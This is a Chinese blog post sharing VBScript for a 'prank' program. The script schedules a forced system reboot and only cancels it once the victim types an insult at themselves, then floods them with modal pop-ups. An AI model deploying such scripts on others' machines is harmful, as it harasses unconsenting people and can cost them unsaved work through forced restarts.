抖音上非常火的整人小程序

快来打我* 2022-05-15 23:19 458阅读 0赞

最近，抖音上的整人小程序深得刷客恩宠。今天小编就为大家献上源代码：

直接上效果图

![70][]

这里，只有她输入“我是猪”，并且按下确定的时候，才能继续...否则将一直停留在这个页面，并且关不掉。

注意：这个小程序是关不掉的哦。当然，调出任务管理器是可以的。

![70 1][]

![70 2][]

![70 3][]

这些都是效果图。

另外，在运行的时候，还会自动打开Microsoft Edge。

接下来，直接上源代码：

set ws=createobject("wscript.shell") 
    call shutdown(1) 
    do while a<>"我是猪" 
    a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","") 
    loop 
    call shutdown(2) 
    msgbox "早说就行了嘛",4096+64 
    msgbox"再输一遍我是猪!",4096+64 
    msgbox"我是猪!",4096+64 
    MsgBox"最后一次!",4096+64 
    MsgBox"如果你很快的点过去,不看的话",4096+64 
    MsgBox"我就要你踩我空间的!哼!",4096+64 
    MsgBox"从前有座山!",4096+64 
    MsgBox"山里有个庙.",4096+64 
    MsgBox"庙里有个老和尚在讲故事.",4096+64 
    ws.run"iexplore.exe http://www.baidu.com" 
    msgbox"哎呀累了！数绵羊哄我睡觉",4096+64 
    for i=1 to 100 
    MsgBox i&"只绵羊",4096+64 
    next 
    msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64 
    msgbox"最后问个问题，我是不是大好人！",4096+64 
    if inputbox("是不是","请选择","是")<>"是" then 
    call shutdown(1) 
    end if 
    sub shutdown(s) 
    select case s 
    case 1 
    ws.run"cmd.exe /c shutdown -r -t 60 -c",0 
    case 2 
    ws.run"cmd.exe /c shutdown -a",0 
    end select 
    end sub

打开你的记事本，将代码复制到文本文档，保存时将后缀改为.vbs就可以了。

[70]: /images/20220516/ea8a5488dd26413ea20e8ec84d1e2d95.png
[70 1]: /images/20220516/c4be971ff73f44b1a03b32a08d03f4c5.png
[70 2]: /images/20220516/ee1145b5cea847ebb120e5db75de52c9.png
[70 3]: /images/20220516/16a4309e901d4702b67c6e64b238f3d1.png